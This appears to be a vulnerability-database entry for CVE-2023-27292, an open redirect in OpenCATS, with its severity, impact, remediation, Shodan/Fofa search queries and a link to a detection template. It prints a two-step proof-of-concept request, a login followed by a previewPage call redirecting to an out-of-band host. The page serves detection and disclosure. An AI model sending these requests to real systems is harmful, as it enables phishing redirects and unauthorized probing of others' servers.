🔙 목록으로 돌아가기

CVE-2023-27292: OpenCATS - Open Redirect

TitleOpenCATS - Open Redirect
Authorr3Y3r53
SeverityMedium
ImpactAn attacker can redirect users to malicious websites, leading to phishing attacks or the download of malware.
RemediationApply the latest patch or update to the latest version of OpenCATS to fix the open redirect vulnerability.
CVSS Score5.4
EPSS Score0.07744
CVE IDCVE-2023-27292
CWE IDCWE-601
Shodan Querytitle:"opencats"http.title:"opencats"
Fofa Querytitle="opencats"
Tags cve2023 cve authenticated tenable opencats redirect vuln

🔍 Vulnerability Description

OpenCATS contains an open redirect vulnerability due to improper validation of user-supplied GET parameters. This, in turn, exposes OpenCATS to possible template injection and obtaining sensitive information, modifying data, and/or executing unauthorized operations.

🌐 HTTP Request

POST /index.php?m=login&a=attemptLogin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36
Connection: close
Content-Length: 31
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=RVokeE&password=eFWIx6
GET /index.php?m=settings&a=previewPage&url=https://oast.me HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.8
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-27292.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-27292.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A